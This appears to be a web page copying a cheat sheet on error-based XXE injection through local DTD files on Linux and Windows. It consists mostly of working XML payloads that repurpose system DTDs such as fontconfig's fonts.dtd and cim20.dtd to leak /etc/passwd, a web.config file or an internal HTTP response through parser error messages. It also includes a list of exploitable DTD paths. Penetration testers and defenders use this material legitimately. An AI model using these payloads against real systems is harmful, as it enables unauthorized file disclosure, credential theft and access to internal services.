XXE Injection: Error Based - Using Local DTD File
If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///abcxyz/">
%local_dtd;
]>
<root></root>GoSecure/dtd-finder - List DTDs and generate XXE payloads using those local DTDs.
Linux Local DTD
Short list of DTD files already stored on Linux systems; list them with locate .dtd:
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/share/xml/svg/svg10.dtd
/usr/share/xml/svg/svg11.dtd
/usr/share/yelp/dtd/docbookx.dtdThe file /usr/share/xml/fontconfig/fonts.dtd has an injectable entity %constant at line 148: <!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>
The final payload becomes:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % constant 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///patt/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>Text</message>Windows Local DTD
Payloads from infosec-au/xxe-windows.md.
Disclose local file
<!DOCTYPE doc [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '> <!ENTITY % file SYSTEM "file://D:\webserv2\services\web.config"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://t/#%file;'>"> %eval; %error; <!ENTITY test "test"' > %local_dtd; ]><xxx>anything</xxx>Disclose HTTP Response
<!DOCTYPE doc [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '> <!ENTITY % file SYSTEM "https://erp.company.com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>"> %eval; %error; <!ENTITY test "test"' > %local_dtd; ]><xxx>anything</xxx>
Comments
No comments yet.